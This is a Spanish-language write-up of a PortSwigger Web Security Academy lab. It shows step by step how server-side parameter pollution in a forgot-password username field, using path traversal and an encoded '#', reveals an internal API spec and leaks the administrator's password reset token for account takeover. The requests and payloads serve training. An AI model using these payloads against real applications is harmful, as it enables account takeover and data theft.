Lab #5: Exploiting server-side parameter pollution in a REST URL

https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-rest-url

Se identifica la siguiente peticion:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 61
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator

Se inicia añadiendo un caracter al finalizar la peticion:

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator#

Y la peticion responde:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

La respuesta previa tambien se replica con el # en formato codificado en url:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator%23

Al igual que usando:

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator%3F

Y lo interesante fue realizar esta peticion:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 62
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=./administrator

Y respondio asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

Pero al retroceder un directorio:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../administrator

Si retorno un error:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

Se intento con:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 53
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../%23

Y genero un error:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

Y al retroceder aun mas salio otro error:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 62
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../../../../%23

El error fue:

HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 250

{
  "error": "Unexpected response from API server:\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Not Found<\/title>\n<\/head>\n<body>\n    <h1>Not found<\/h1>\n    <p>The URL that you requested was not found.<\/p>\n<\/body>\n<\/html>\n"
}

Si usamos un intruder se identifica un archivo:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 74
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../../../../openapi.json%23

Y lo anterior responde asi:

HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 629

{
  "error": "Unexpected response from API server:\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"User API\",\n    \"version\": \"2.0.0\"\n  },\n  \"paths\": {\n    \"/api/internal/v1/users/{username}/field/{field}\": {\n      \"get\": {\n        \"tags\": [\n          \"users\"\n        ],\n        \"summary\": \"Find user by username\",\n        \"description\": \"API Version 1\",\n        \"parameters\": [\n          {\n            \"name\": \"username\",\n            \"in\": \"path\",\n            \"description\": \"Username\",\n            \"required\": true,\n            \"schema\": {\n        ..."
}

Analizando lo anterior, se envia la siguiente peticion:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 73
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator/field/foo%23

Y esto entrego una respuesta interesante:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}

Debido al error modificamos el payload especificando a email:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 75
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator/field/email%23

Y lo anterior respondio asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

Durante el analisis inicial se identifico:

https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/static/js/forgotPassword.js

Y el codigo aqui era:

forgotPassword.js

let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

Debido a la linea:

window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;

Se decide enviar la siguiente peticion:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 88
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator/field/passwordResetToken%23

Pero se obtuvo otra vez este error:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}

Asi que se decide enviar la peticion modificando el payload:

POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 103
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../../v1/users/administrator/field/passwordResetToken%23

Y esto nos respondio asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 82

{
  "type": "passwordResetToken",
  "result": "g08402kiwhbwbm5grbbgda6mvme4aqip"
}

Y luego simplemente construimos la peticion para restablecer la contraseña y finalizar el reto:

https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password?passwordResetToken=g08402kiwhbwbm5grbbgda6mvme4aqip